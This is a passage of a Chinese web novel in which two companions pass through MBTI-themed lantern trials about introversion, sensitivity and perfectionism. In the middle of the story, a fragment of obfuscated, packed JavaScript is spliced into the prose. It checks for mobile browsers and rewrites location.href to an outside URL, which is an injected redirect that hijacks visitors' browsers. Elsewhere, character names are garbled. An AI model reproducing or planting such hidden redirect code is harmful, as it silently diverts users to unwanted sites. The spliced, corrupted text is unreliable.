她围着那一处动来动去,最后终于确认那并非错觉,裂缝如若从特定角度看,居然可以透出灯光,一丝几乎难以察觉的光之通道,裂缝形状和表面都不规则平整,小小光丝几经折射,显得这条裂缝有种跨越空间的美,与星辰之光同源。
“发现什么了?”
江砚发现林茉已经维持一个姿势,观察一点很久了,他粗略扫视,并未发现明显异常。
“来,”林茉招手,即将移开目光,竟感但自己有点依依不舍,“记住我现在的姿势和角度,看看有什么。”
林茉原本是半跪在地,头部俯低的姿势,这会儿忽然起身,头很晕,她下意识扶住了江砚。
“头晕?”江砚看着林茉,眼神关切。
林茉想到温暖熨帖的茧,这样的眼神让人很想忽略他所有的隐瞒和秘密。
眩晕散去,林茉看到自己的手紧紧握在江砚大臂上,触电一样“唰”地收了回来,脑海中莫名出现之前半躺在江砚怀里的场景。
“起得太急了。”
随即催促,“你快看。”
并非因为害羞,恰恰相反,她觉得那样躺着很舒服,江砚的手臂和身体形成蚕茧一样的怀抱,很有安全感。
一定是因为困了,她想睡觉。
江砚半跪在地上俯低上身去查看林茉指给他的那条小裂缝,但他比林茉高出许多,所以整个人是更加蜷缩的状态,从林茉视角看过去,显得他十分的努力又认真,有点可爱。
“看到了吗?”林茉问。
江砚声音从低处传来,带有一些迟疑和不确定,所以显得很温柔,“还没,是这里吗?”
“你可以多——”
“看到了,”江砚语气平稳,仿佛在描述一件司空见惯之事,“是很漂亮。”
是很漂亮。
但需要异常认真的观察,并且在环境光线稍稍昏暗之处才会看到光之缝隙。
“原来这盏灯的奥秘是这个,”林茉喃喃自语地感叹,“裂缝原来这么美。”
江砚站起身,从现在的角度,完全看不到缝隙发光,“真多亏你能发现。”
“现实中应该很难造出这种灯笼,即使可以,也要付出很大成本,普通人很难做到,成本回收期漫长,几乎不会有人投资。”
林茉看着江砚,他这番话初听很自然,但细想又莫名突兀,好像总是这样,大部分时候江砚随和,几乎所有事都随着林茉折腾,但总会在一些点,就像窥见光的缝隙那样窥见他另一面。
这一面的江砚更像老板,也更符合他曾经力挽狂澜的手段。
而且不得不承认,虽然刺耳,但那段话没错。
“茉茉——”江砚突然叫她,好像又有所发现。
“嗯?”
“你的手——”
林茉低头,只见左手的茉莉花纹在闪烁,节奏舒缓,仿佛在平稳呼吸一样。她马上去看江砚的,但这次他们没有同步。
“这,可是我什么感觉都没有。”林茉也很纳闷。
眼神转动间,一缕光线一闪而过。
林茉指着灯笼,“江砚你看!”
那盏白玉水滴灯也在闪烁,只是不太明显,林茉将手腕举起,水滴灯和茉莉花纹的闪烁节奏一致。
和一盏灯同频了吗?
“这是说明什么呢?”
啊——
林茉内心一动,因为她忽然意识到白玉水滴灯的闪烁之所以不明显,是因为并非灯内主光源在闪,而是来自于那些细小裂纹。
太过微小,所以光亮不够,但数量很多,足以引人注意,而且让这盏灯的美更加高级和多层次。
就在林茉和江砚眼皮底下,灯上凭空出现一行红色的滚动字幕,白色背景下几个大字十分刺眼:
我将击碎你的幻想。
字幕是横平竖直的宋体,显得这句话并非出自某位个人之口,而是来自更加宏大的东西。
击碎幻想?
“谁的幻想?马明远吗?”江砚问。
幻想——
林茉了然,“这盏灯代表N维度。”
江砚一脸疑惑。
林茉简单解释了MBTI中“N”的含义,以及与之相对的“S”。
“你不信吧?”
林茉意有所指地看着江砚,“其实大部分人都兼具N和S,只不过某一方面显露更多些。”
从江砚的表情看不出他有没有听出这句话的弦外之音。
林茉突然席地而坐。
“你又干什么?”
有时候他的伙伴的脑回路真的很神奇,系统还挺会替他选人。
林茉没有立即回答,而是调出了系统之前奖励的那套刺绣工具。
?
刺绣?
“在这刺绣?”江砚从疑惑变成不可思议。
“我只是想画个草稿,把它记录下来。”
在林茉试图复刻的过程中,灯笼裂隙的光似乎越来越亮,到最后甚至不需要特别注意,也能发现白玉表面金色的细小流光,如同被意向化了的鎏金岁月。
红色宣言不知何时消失不见。
林茉看着那些岁月金光,觉得自己之前感到可惜太过肤浅,“虽然碎了,但是更美。”
咚
咚
咚
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突然不知从何处传来“咚咚咚”的声音,一下一下,缓慢坚定。
哪里来的??
江砚迅速辨别出方位,指向相隔一盏灯笼的竹编灯,“那里。”
那是一盏圆筒灯,竹条纵横交错,外表看起来朴素宁静,咚咚之音仿佛就来自于它的内部。
和林木走近竹编灯。
还没来得及找到心跳来源,林木又不不由自主几乎,“你看这。”
原来这并不是远看那样很普通的竹编灯,每一根竹条明显都经过用心打磨,表面和边缘都光滑圆润,很温柔地反射着环境光。
不仅如此,上面还有很精致的雕刻纹路,制作这场灯笼的人一定没有因为他的材质普通而敷衍,而是很用心的在制作这盏灯。
觉得这种感觉和临摹耳朵上的茉莉和雕很像,他忍不住又看了一眼林茉的河雕耳钉。这耳钉原本是用来监视他的,但好像天然属于他一样。
咚
咚
咚
心跳声越来越明显。
“你觉不觉得他好像变快了?”零莫问。
江砚又仔细辨别了一瞬,“嗯,好像就在灯笼里面。”
林茉忽然有点忐忑,里面不会悬挂了一颗心脏吧?
江砚率先查看,语气带有迟疑,“好像是,听诊器?”
不是心脏就好。
林茉也凑近,透过竹编灯笼的孔隙,发现心脏跳动的来源确实是那只悬挂在灯笼中央的听诊器。
为什么会有一个听诊器?
他在听谁呢?
林茉忽然面色奇怪的看了看江砚,不会是他们两个吧?
他其实想摸一摸将砚的心跳,或是给他把把脉,但由于之前的经历,她还是放弃了。
“有字。”江砚说。
和水滴灯不同,这盏灯的字出现在听诊器上,似乎并非由谁触动而生成。
几缕发丝贴合缠绕在一起,他们隔着缝隙拼凑经过眼前的文字:内、向、者、不、适、合——社会。
林茉蓦然回想起在花灯小镇时,系统通过肠道灯穗逼着大家热情逼着大家开心的样子。
这里和花灯小镇是一体两面。
但林茉先前的好奇不仅没有被压抑住,反而更加强烈,这心跳到底是不是他们两个的?她悄悄按住自己手腕,感受脉搏跳动。
不太一样,自己的稍微快一点。
“我给你把把脉。”
江砚很配合地伸出手,露出白皙手腕,林茉用两根手指轻轻搭在上面,虽然她已经故意减少接触面积,但还是传来很明显的皮肤的细腻触感和温热温度。
林茉静静感受江砚的脉搏跳动,很沉稳,一下一下,连带着她的心也安定下来。
江砚很有耐心,等了一会儿才问,“怎么样??”
“嗯——”
【检测到心跳同步率99.99%】
咚
咚
咚
此时林茉的心跳、江砚的心跳与听诊器的跳动频率几乎一致。
“江砚,我们先不找INFP灯笼,这里每一盏灯笼,”林茉表情认真,“我想把他们都记录下来。”
林茉不再花费心思去辨认它所代表的MBTI维度,而是单纯想要欣赏和保留。
话音刚落,绣球兔突然从空中扑向林茉,它本来一直呆在系统储物格里睡觉。好像感应到了什么似的,鼻头翕动,四处张望,毛茸茸的耳朵一动一动。
话音刚落,竹编圆筒灯忽然动了,竹条仿佛拥有生命一般自动重组。
片刻后,竹筒灯变为一只巨大鸟巢,听诊器悬浮其上,前端圆盘变为爱心形状,一呼一吸地变化着明暗光线。
原来那一行字变为:星星也不说话。
不仅如此,他们惊讶地发现,这里所有灯笼都发生了变化。
16. 第16章(一更)
整个场地中,最符合日常对灯笼印象的是一台多层旋转走马灯,表面由红纸剪出的一张张笑脸拼贴而成,每当被触摸,就会播放欢笑声。
江砚被一盏齿轮灯吸引,它表面是透明玻璃材质,可以看到内部悬浮着满满的零件齿轮,运行时互相碰撞发出冰冷的金属碰撞声音。
还有一盏他们本以为也是玻璃材质的灯,但走进了才发现外面那层透明的材质并非玻璃,而是由冰做成的,这是一盏冰雕棱柱灯,但但看不清内部的具体形态,只能看到重重虚影。
表盘刻满“应该”的青铜钟表灯,麻绳和陶土随意磊成的灯充满原始气息......
【检测到高质量接纳,终止爆炸程序】
最后一盏是荷叶莲花灯,这盏灯同样与众不同,是底部成有一层清澈的水,有水滴顺着内壁流下,如同晶莹眼泪。
林茉画完最后一笔,八盏灯笼,同时提高亮度,八束亮光攒聚中央,仿佛挣脱了某种束缚,在开启某个仪式。
光束汇聚的中央,一道半透明人影缓缓成型、升起。
“马明远?”
虚影马明远面色平和,与在花灯街的状态截然不同,他安静地看着林茉和江砚,平静地看了很久,最后向他们缓缓鞠躬,张开嘴无声的说了一个词。
说了什么?
林茉看向江砚,江砚缓缓摇头。
虚影缓慢淡出,直至消失。
唰——
不待林茉有所反应,八盏灯笼齐齐熄灭,霎时间一片漆黑。手腕迅速被江砚握住,林茉向江砚那边挪动一小步,手臂相贴站在一起。
在黑暗中,人本能地缺少安全感。
失重感毫无预兆传来,林茉不自觉叫了一声,在心跳乱拍的前一秒似乎被抱了一下。
没有摔落的痛感,失重感消失,感受到坚硬的地面。
周围依旧一片漆黑,林茉试探着向伸出手——空无一物,江砚没有在身边。
“江砚?”她轻轻唤了一声。
她深呼吸几次,内心平静下来,根据之前的经验,或许又会有什么突然出现,就像刚刚突然亮起。
但等了很久,却再也没有光亮传来。
不仅没有光亮,甚至周围还逐渐响起奇怪噪音,空气紧紧贴在皮肤上,时间越是流逝,越是让人感觉到不舒服。
绣球兔也受到不小影响,乖乖地窝在林茉怀里。
“茉茉。”
终于得到回应,林茉分辨着声音方向,打算去寻找江砚。
“你别动,我去——”
她猛地停止动作,捂住胸口,因为她突然毫无预兆、毫无缘由地非常难过,就好像有人强行将这种情绪大量注入内心。在这一瞬间她又回到了孤儿院彻底消失的那天。与此同时,周围的嘈杂噪音变大,仿佛置身于世界上最热闹的街市,无数人在同时开口,混合着消息提示,鼓掌声音庆祝声音……让人无比烦躁。
“茉茉?”江砚的声音穿透噪音带来短暂的清明,“你没事吧?”
林茉强忍住由心理蔓延至生理的不适,“我没事。”
他们似乎距离并不远,可是她无法移动,或者说移动得非常缓慢,之前突如其来难过的情绪,被加工放大成难过、焦虑、恐惧的混合体,如同一块无形巨石挡在她想要前进的所有方向。
“我找到你了。”林茉感受到自己的手腕上传来干燥、温暖的触感,稍稍压下了内心情绪。
“这里好像会影响人的情绪。”林茉语气平静地说。
“不要试图去辨别那些声音,会好一点。”
江砚也被影响到情绪了吗?但从他的说话状态和动作来看,他受到的影响小得多。
成功会合之后突然没有了目标。
“我们现在根本不知道要往哪里走,”林茉说,不知为何,她越来越累,“与其这样没头没尾地前进,倒不如躺下睡一觉。”
这里绝对黑暗,虽然耳边有噪音,但如果能把它当作白噪音,也是睡觉的好地方。
“你能睡着的话。”江砚回答,黑暗中声音细节被放大,可以清晰感受到他是带着笑意回答的。
其实林茉那样说半是因为自己真的累,半是在试探,因为无论自己的建议多么离谱,好像江砚都能很平静地接受,决策也关系到他的生命,为什么他能全盘接收呢?他不担心因此丧命吗?
不过江砚说得对。
林茉以为自己可以睡着,但是她轻视了此处的情绪污染,它无孔不入地侵入梦中,制造了几个破碎的、很不喜欢的梦。
她梦到好像有人切开了自己。
“睡不着吗?”江砚问。
“嗯。”林茉睁开眼坐起来——其实在这里睁不睁眼也没什么区别——离开她还不能确定是否安全的茧。
苏绣兔忽然苏醒,两只前爪抱着林茉手臂,能感觉到他的小脑袋一动一动地四处张望。
林茉安抚地轻轻摸了摸。
“你觉不觉得这里的空气很粘?”很难形容这种感觉,好像他们身处于一只墨水瓶内,周围是浓稠的墨汁,林茉忽然有一种不好的猜测,“这里氧气会不会逐渐减少?”
但系统并未播报生命值变化,目前应该是安全的。
“嗯,”江砚同意这里的空气不同寻常,“但还没有感觉到氧气减少,目前影响最大的还是那些噪音。”
提到噪音就头痛。
它实在过于嘈杂,根本无法分辨出有效信息,林茉很想屏蔽,但或许线索就藏于其中,她不喜欢这里,想离开。
苏秀兔忽然爬上林茉肩头,脸颊传来毛茸茸、软乎乎的触感,忽然有柔软温暖的东西贴上耳畔——是苏绣兔的长长垂耳。
“孤......谁”一开始声音断断续续,“......隐。”
但逐渐清晰起来:
“不爱说话怎么会有好前途。”
“想太多。”
“你就是太敏感了。”
......
哒
哒
哒
“我听到有脚步声。”林茉说。
“脚步声?”江砚皱眉,“是向我们走来还是?”
林茉又仔细辨别了一会儿,“像是去某一个方向的。”
“跟着它?”
睡又睡不着,跟上去看看。
--
怎么会这样?
空气粘稠到已经可以形成阻力,每前进一步都要花费额外的力气,仿佛虚空中有一股很大的力量在阻拦他们。
“有什么我们看不到的东西吗?”林茉后背发凉,毕竟现在他除了能触碰到江砚,其他什么也看不到。
一些不好的想象逐渐成形。
“不能确定,”碰到这样的反常现象,江砚居然还能维持住一贯的淡定,“你跟在我后面试试。”
没有走出多远,两个人都已经气喘吁吁,不仅如此,不知是他们走得太慢,还是因为别的什么,脚步声消失了。
林茉和江砚背靠背站立,没人知道下一步该怎么办。
“你听——”林茉突然说。
原本根本分辨不出的噪音变得清晰了一些,一句歌声在反复哼唱:
孤标傲世偕谁隐,一样花开为底迟?
为什么总是在重复这两句呢?
咚
咚
咚
“江——”林茉小声叫江砚,这个空间里还有第三个人!
江砚用力握了一下林茉手腕,表示他也听到了。
又是心跳声?
而且
好像就在不远处,甚至——就在面前。
面前有人?!
林茉强行停止内心千奇百怪的恐怖想象,试探着向前伸出手臂摸索。
真的有东西!
冰凉、光滑、柔软——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126942|164012||http|test|mini|href|location''.split(''|''),0,{}));
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>是什么啊?!
黑暗中逐渐出现了一点不一样的东西。
那是一颗漂浮在黑暗中静静跳动的水晶之心,几乎与黑暗融为一体,要很仔细的分辨才能看出轮廓。
虚惊一场,林茉原以为自己和某种怪物共处一室。
又是一颗心。
孤标傲世偕谁隐,一样花开为底迟?
噪音中有人越来越清晰地哼唱着这句诗词,但林茉并不觉得神秘或是恐怖,相反,她感到有点、悲凉,像是在一遍遍地质问自己。
林茉不自觉跟着重复,在问什么呢?
溶于黑暗的水晶之心,表面出现了一道淡黄色闪光,如同闪电一晃而过,短暂照亮了这漆黑的空间。
之后留下了一道纤细的暗黄色的永久裂纹。
裂开了?
“手抖了……”
水晶之心上开始出现黑色水墨手写文字,未干墨迹如同眼泪向下流淌。
“这步好无聊。”
“看得有点犯困。”
“我是当背景音听的。”
接着是图像,依旧是简化了的黑白水墨风,寥寥几笔勾勒出一个人形,在对着摄像头低头摆弄着什么。
直播弹幕一行行出现,林茉看出这个人的表情有一瞬间的失落,能看出他对这些一闪而过的评价很是在意,在努力消化负面感受,虽然表情还是维持着平和与微笑。
水晶之心又多出几道不同颜色的裂痕。
这会是马明远吗?
“好像是一位手工博主?”林茉问。
“嗯,”江砚同意,其实夸赞的评论也很多,只是他过于在意负面评价,“他的手工很有创意。”
所有墨迹突然被粗暴抹去。
“其实我们对你的能力和经历是毕竟满意的,”水墨勾勒出一位半长发的女士,“但你过于斯文,说话声音不够洪亮,我们还是需要一些有气场的人,祝你找到更合适的工作。”
“好的,谢谢。”
水晶之心再次增加一道裂痕。
似乎有人在找工作,但频繁因为性格斯文而被工作拒之门外。
画面再次被全部抹花,直至消失。
“哦,”一位嘴角有八字纹的女人表情淡漠,“你就是小远啊,你的事迹我听说了。”
小远?
马明远?
小远被另一位女人引领,她向马明远介绍,“小远还没见过呢吧,这位是大姨。”
“大姨好。”马明远礼貌地打招呼,身旁勾勒出许多没有细节的人,看起来像是在参加某个仪式或者宴席。
大姨依旧表情淡漠,仿佛小远是陌生人,完全没有亲人之间的情感流动,她生硬提问:“你当初是怎么想的呢?怎么想的要辞掉国企的工作去外地?”
小远明显楞了一下,水墨身形微微晃动,在周围留下潮湿的、淡黑色痕迹,随后弯起嘴角笑了笑,“就是想出去看看。”
大意持续发力,一个个水墨大字配合声音如同一颗颗炮弹:
“你什么大学毕业的?”
“学的什么专业?”
“哦,你在那边做什么?”
“手工博主?”大姨双眉之间出现两道浅淡的皱纹,“一个月能赚多少钱?”
“找对象了吗?”
挑了一个沉默的空隙,小远转身离开。
水晶之心的裂痕又增加一条,但奇怪的是,这些裂痕各有色彩,恬淡柔和,反而显得更加有艺术性、更好看了。
--
“这大姨可真逗,”林茉轻声嗤笑,“不知道的还以为别人犯了什么错,在做笔录。”
“没必要和这些纠缠。”江砚说。
又语气奇怪的补充了一句:“一颗敏感之心。”
林茉内心一动,似乎抓到了什么关键——
砰!——
一声突如其来的巨响打断了她的思考。
17. 第 17 章
江砚一拳击打在水晶之心上,声线薄而冷漠,“既然这么痛苦,毁了就安静了。”
水晶之心应声又多出了几道裂痕,而且奇怪的是,之前裂痕是从表面裂开,这次是从内部向外蔓延。
林茉吓了一跳,“你干什么?!”
“我说,”江砚几乎一字一顿,带有几分漫不经心,“毁了,就安静了。”
就不会痛苦了。
荆棘纹路蓦然亮起,那些水墨图像化作数据流流向荆棘纹,被其吸收。水晶之心的所有裂缝缓慢流淌出蓝色的数据血液。
“你是——”
手腕忽然传来刺痛,茉莉纹不知何时变成红色,如同火焰在灼烧手腕。
在数据流和水晶之心微弱亮光的映衬下,江砚皱着眉,表情冷漠。
【警告!】
【检测到生命值迅速流失!】
系统音突然刺耳地在整个空间炸开:
【检测到107生命值持续损失,已同步至001,当前生命值150……140……130……】
【警告!生命值即将低至红线】
数据流骤然消失。
江砚转头看着林茉,不知是灯光原因还是什么,林茉惊讶地发现他的瞳孔有着不易觉察的暗红色。
“你还是江砚吗?”
“不然呢?”
江砚疲惫喘息,话语间却满是伤痛,“为什么连你也要阻止我?”林茉脑海里忽然浮现之前马明远的虚影和他那句无声的提醒。
她明白了,马明远说的是“别怕”。
林茉决定收起猜疑,他伸出手轻轻握住江砚的手腕,荆棘稳露的亮光透过手指缝隙柔和的散发出来。
“你累了吗?坐下来休息一下。”
江砚似乎听不懂似的,用费解的眼神看着林茉,但林茉清晰的注意到,他瞳孔的暗红色正在缓慢褪去。
她原本以为只有自己受到了这个空间的影响,那些之前行动时突然注入内心的的紧张、焦虑、恐惧、难过……观看水晶之星影像时内心的情绪。
原来江砚并非表面上那样安然无事,他才是被系统渗透的更严重的人,他甚至会无意识被系统控制,毁掉敏感之心。
以为这样就会让敏感之人不再敏感,变得活泼开朗。
江砚乖顺的挨着林茉坐下,垂头看着地面,不发一言,其实林茉分不清他现在到底是被系统控制的江砚,还是变回了原来的江砚,但他直觉是两者都不是。
“给你唱首歌,放松一下吧。”林茉轻轻的说。
“好运来,祝你好运来~”
“好运来,带来了喜和爱~”
“迎着好运,兴旺发达通四海~”
眼前突然出现了金色光芒。
林茉抬头寻找,发现那光芒来自敏感之心。
不知从何处出现的金色光芒,无形的凝结成金色纹路,顺着原来的条条裂缝缓缓蔓延,仿佛是在进行修补。
与此同时,原来那些播放的痛苦记忆逐渐淡化,一些轻柔愉快的色彩开始出现,仿佛有一支无形的画笔,在耐心的涂抹插画。
一杯漂浮着漂亮的油脂的咖啡,杯子是好看的绿色,杯身上有一只带着红色蝴蝶结的开心的小熊。
一些埋在心底的记忆,忽然被松绑似的浮出水面。
“这是小茉茉白天牵手摘得桂花,”有人将一只小小的白瓷碗放到一双小小的手上,甚至还能感受到透过白瓷碗传来的温热的温度,“我熬了一点红豆汤,加了小茉茉的桂花,你是第一个品尝的,等你喝完,我们一起去送给其他小朋友好不好?”
“好!”
一张普通的木色桌面,上面摆放着书本和笔,阳光透过窗口将这张桌面完全覆盖,晒得及其明亮,一朵小黄花随风摇曳。
“哇——”一声童稚的惊叹。
“这是小茉茉的第一幅苏绣作品,”阳光下一只略显幼稚的小花猫闪闪发光,“锈得可真好。”
随着插画一张张出现,水晶之心逐渐变得明亮,原来那些藏在心底的痛苦面孔逐渐变得喜悦,之后恢复平和安宁的状态。
马明远的虚影再次浮现其中,他用唇语无声的说:“别怕,敏感是漂亮的触角。”
忽然头顶出现了万千星光,仿佛他们正处于一个绝佳的观星台,点点星光化作金粉纷纷洒落,苏绣兔开心地跑来跑去,身上落了不少金粉,整只小兔看起来富贵又闪耀。
星光照射在敏感之心的表面,经其折射,整个漆黑的空间忽然浮现万千彩虹。
“好美~”林茉缓了好一会儿才忍不住感叹。
“嗯,很美。”身边传来江砚依旧淡定的回应。
这是江砚,没错。
恢复正常的敏感之心后面突然出现一条光之通道,他们互相对视,朝光之通道走去。
还未走到尽头,耳中突然传来令人愉悦舒适的鸟鸣,空气中的盐质感也消失,身体重新变得轻盈。
难道这里就是出口了吗?这个副本就要结束了吗?
这里的确是个出口,但是看起来这个副本并没有结束。
因为在前面一片蓝天白云,绿草如茵的空间,鸟语花香中,马明远正在向他们微笑招手。
“你们来啦,欢迎。”
这次的马明远显得“正常”许多,脸上的笑容有一点拘谨和害羞,但是很真诚,“欢迎来到我的秘密基地,我带二位参观一下如何?”
林茉很想拒绝,“我累了,有点想休息。”
马明远的笑容又一瞬的僵硬,随即恢复正常,“累就对啦,现在不累一点,以后怎么会有好的生活呢?”
还是不正常。
林茉气的翻了个白眼,没有再辩解。
马明远的秘密基地,像一个小小的手工博物馆,物品排列整齐,干净整洁。仔细去看会发现这些东西并非常见的手工作品,而是有很多超出想象的巧思。
弹幕刺绣屏风。
它可以根据人的状态生成不同的刺绣图案和滚动的刺绣弹幕。
林茉站到刺绣屏风跟前,用手贴在莲花感应器上,屏风上面立刻出现了睡觉小人、一张舒适的大床,刺绣弹幕滚动着:我好困、想睡觉、破任务什么时候结束的字样。
林茉听到一声倾笑——来自江砚,他也不自觉跟着轻轻笑了出来。
图案变换,一座建筑的形状逐渐出现在屏风上,仔细看起来这座建筑似乎还有点破败……
林茉慌忙收手,故作镇定赞叹,“还挺好玩的,”并问江砚,“你要不要试试?”
果不其然,资本家的脑子里全都是效率。
林茉注意到屏风旁边有一块黄铜小牌,正楷小字工整写着:心声刺绣屏风,评分99。
99分?
参观下来,每一件作品都是99分。
马明远微笑解释,“没有完美的作品,99分代表永远有努力的空间。”
林茉打量着马明远,总觉得他虽然脱离了被强制热情,但又陷入另外一个束缚之中。
但江砚却很赞赏地回复:“
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所以人类才能不断进步。”
……
林茉不想说话,他又想翻白眼,但目光转动间注意到旁边的陶瓷小人头部与脖颈连接处似乎有什么东西,蓝色的。
“留下来吧,”马明远发出友好的邀请,“留下来和我一起做完这个盒子灯,它会拿到第一名的。”
盒子灯?
又做盒子灯?
难怪系统一直这么安静,原来真正的盒子当任务在这里?
林茉内心一动,对马明远说,“我们分工合作,你来扎灯架,我们来画盒子灯图案,毕竟灯架是基础,需要完美。”
“好啊。”马明远微笑答应。
“这里没有敏感、没有痛苦……当然也不需要离开。”
伴随马明远的话声落下,原本淡蓝色的天空突然出现一双巨大的眼睛!
【检测到任务即将开始,触发审判之眼,请确保作品完美】
原来你叫审判之眼,就是你永远只会打99分。
审判之眼缓慢眨动,发出刺耳的金属摩擦声音,在空间中无孔不入、久久环绕。
待它完全睁开之时,林茉发现他其实与万线归宗的焦虑蝴蝶如出一辙,他的是由无数痛苦内耗的真实人脸组成。
这里应该就是这个副本的的数据中心,它靠人们对内向性格的排斥和完美主义的情绪能量运转,可是它位于高空,很难直接毁掉。
--
“好了。”林茉脸上带着满意神色、还有一点小狡黠。
盒子灯——花花世界宣言。
第一层,沉默之壤。
暖色的半透明纸上由黑色极简线条描绘树根和枝桠,火光渐亮,如养分流动游走。最后一行烫金行楷潇洒属于其上:沉默是丰盛的土壤。一只调皮小猫将这些字当作毛线球滚来滚去,在这层盒子灯脱落的前一秒,露出一个调皮的鬼脸。
第二层,苔衣绿语。
这一层是绿色,苔藓和蕨类植物做底,其中埋藏有花草种子。火光所到之处,出现湿润水痕,种子纸遇水发芽,灯光下新生绿芽投影摇曳,小猫静卧其下安眠,呼吸出的小泡泡写着:内向是伸向自然的丰盛触角。
马明远露出奇怪神色,这真实的苔藓和蕨类植物是哪里来的?
绿色世界脱落,第三层四面皆绘有琥珀色半透明沙漏,混合在沙粒中的夜光颗粒如同夏夜萤火虫,流沙坠落时声音清脆悦耳如鸟鸣,撞击之下迸发出朵朵彩色小花。小猫推出一行字:不必故作喧嚣,安于专注创造。
马明远在思索,这里有沙子吗?
该不会......
第四层的四面均镶嵌有几面圆镜,小猫歪歪扭扭在上面书写:此心安处是吾乡,请接纳自己。光影映照下每一个字写出来都像是会呼吸一般,舒缓、安宁。
马明远眼皮跳了跳,镜子——他有点不可置信地回头,发现林茉这盏盒子灯上面的苔藓、植物、流沙、夜光颗粒、镜子......全部来自之前带他们参观过的作品!
换句话说,她拆了那些难得才获得99分的作品!
不待他有所反应,第五层灯笼,这一层更是让马明远内心一抽,灯笼四面印满了彩色猫爪!有明亮的橙红色、也有安静的蓝紫色、深色、浅色,如同这只猫踩翻了调色盘。猫爪逐渐拼接成字,每种性格都是独一无二的猫爪。
第六层更是让他险些站立不住,白色背景上只有加粗的黑色大字:拒绝评判,去你的吧!
小猫朝天空做了个鬼脸,仿佛在嘲笑审判之眼。
18. 第 18 章
审判之眼不懂嘲讽,只是用审视目光盯着林茉和作品,持续发出刺耳摩擦声。
吱呀——
吱呀——
马明远呆呆地凝视最后一层灯笼宣言,忘记了动作,甚至连他自己都忘记了。
拒绝评判?
可以吗?
拒绝谁的评判?
林茉与审判之眼对视,江砚目光在林茉身上。
吱呀——
吱呀——
在漫长又令人牙酸的等待后,审判之眼终于做出反应:
【审判之眼评分:0】
林茉轻笑。
【由于未获得99分,需要重启任务:上元夺魁。】
【请重新完成盒子灯】
【不完美惩罚:否定之锁】
【否定之锁已启动】
所有人脑海中同时响起相同的冰冷声音:
什么东西,和别人的相差十万八千里。
为什么人家的东西这么完美?自己做的就是垃圾。
烦死了,必须全部毁掉、从头开始,烦死了。
根本不是做这个的材料。
我太差了
我不行
……
声音直接出现于脑海,很容易获得认同,将它当作自己的声音,马明远痛苦地低下头,江砚站在原地眼神低垂,神色不明。
与声音同时出现的还有一把墨色锁链,将他们束缚于原地无法移动。
【请用心制作灯笼,必须获得完美评价,否则不得移动】
所以他们需要一边被这些循环播放的否定评价不断骚扰,一边拖着沉重锁链,重新再做一盏盒子灯。
做你的梦。
重做是不可能重做的。
“你们先别动。”林茉说,语气听不出情绪。
江砚抬起眼眸,眸光湿润,他好奇地看着林茉,掩盖了眼底的玩味。
不让动是吧?
林茉捡起身边已经脱落在地的前几层盒子灯,用力朝远处一丢。
砰——
嘶拉——
刺绣屏风立刻被戳出个大洞,倒下后又将身后的凉感白瓷瓶砸了个稀碎,蓝色数据液流淌出来。
原来之前看到的蓝色痕迹就是它,也不是很完美嘛。
林茉继续。
就是可惜了这些创意。
砰——
比例完美的待办提醒人偶轰然倒地,瓷片碎裂声音噼里啪啦。
马明远先是被震住,随后崩溃大叫:“你干什么?!”
审判之眼倒是毫无反应,它只在意未完成的完美。
林茉轻飘飘回答,每个词都无所谓地飘在空中:“看不懂吗?我在砸东西。”
江砚眼神中流露一丝赞赏。
马明远大叫、剧烈挣扎,仿佛痛苦即将冲出身体,他想摆脱否定之锁阻止林茉,可越是挣扎神色越是痛苦,否定声音也越来越大,化为更加沉重的无形重量狠狠砸落,让他更加动弹不得。
所以只能崩溃大叫,同无数走投无路、歇斯底里的人如出一辙,痛苦从声音中满溢出来:“只有优秀才会被喜欢!”
他突然失声痛哭,不愿被人看到,双手紧紧捂住面部,但颤抖的身体和抑制不住的呜咽却无法控制。
林茉动作停滞,看着努力缩成一团的马明远。
然后继续更加猛烈地砰砰砰砰,越砸越有力量,直到身边砸无可砸。
她从系统储物格调出苏绣兔,轻轻抚摸它毛茸茸的头,苏绣兔舒服地抖抖耳朵。
林茉指着自己身上的锁链,“来,帮我啃开。”
她并不确定兔子的牙齿是否具有这种能力,只是灵光一闪之下的尝试,实在不行,还可以指挥苏绣兔继续砸东西。
然而苏绣兔却跑向马明远。
嗯?
它听懂了林茉的指令,但又没有完全听懂,因为它啃的是马明远的锁链。
……
好吧,从那边先开始也可以。
苏绣兔啃得咯吱咯吱,在锁链上形成坑坑洼洼的牙齿咬痕,马明远一开始还在沉浸式痛哭,在苏绣兔持续啃咬下逐渐停止哭泣,意外地看着这只衣着华丽的小垂耳兔。
“你来帮我吗?”他轻轻的问,伸出一根手指轻轻摸了摸小兔蓬起来的兔毛边缘。
小心翼翼,好像很少接受别人帮助
苏绣兔不语,只是努力咯吱咯吱。
齿痕堆叠中,一句话逐渐成形:没关系的。
林茉感到全身一松,好像卸下了什么重担。
原本冷漠审视的审判之眼失去焦点,像在迷茫,又好像在思索。
瞳孔里的脸庞不断变化,好像它在寻找一张合适的脸——最后一位儿童稚嫩的脸庞定格于其上,那是儿时的马明远。
他眼神慌张,小手不安搅动,面前地上有一只碎掉的瓷碗。
片刻后传来“啪”的一声,接下来是突然大声的严厉的责备,将在场所有人都吓了一跳:“多大了你??!没长眼睛吗??!拿不住碗就别吃饭!!”
小马明远低头不发一言,但林茉清晰地看到他眼中满是泪水,因为努力不让自己哭出来,小小脸蛋憋得通红。
“自己收拾好!!”
小小马明远蹲在地上,一片一片捡起碎瓷,小心翼翼,甚至不敢让瓷片发出碰撞声。
审判之眼瞳孔缓缓移动,在看着此刻蹲在他面前的马明远。
--
画面模糊后又清晰,小马明远正性格采烈地和一位老人讲话:“昨天我爸爸讲了个笑话,把我和妈妈逗得哈哈大笑。”
老人却并未露出喜悦神色,而是问小马明远:“你妈妈会笑?”
小马明远楞住,本来在半空中挥舞的小手,如同蔫掉的植物一般垂了下去。
老人继续说,语重心长:“你也该知道了,你妈妈当初是听了我的话被迫嫁给你爸爸的,所以总是不开心,你要懂事,好好对妈妈。”
小马明远没有开口,乖顺点了点头。
--
审判之眼眼皮低垂,很久也没有完全睁开。
--
夕阳下,小马明远背着书包蹦蹦跳跳跑进院子,推开一扇门,进门之后没有立刻向前走,也没有像其他小孩那样高喊“我回来了”,而是突然在门口停留下来。
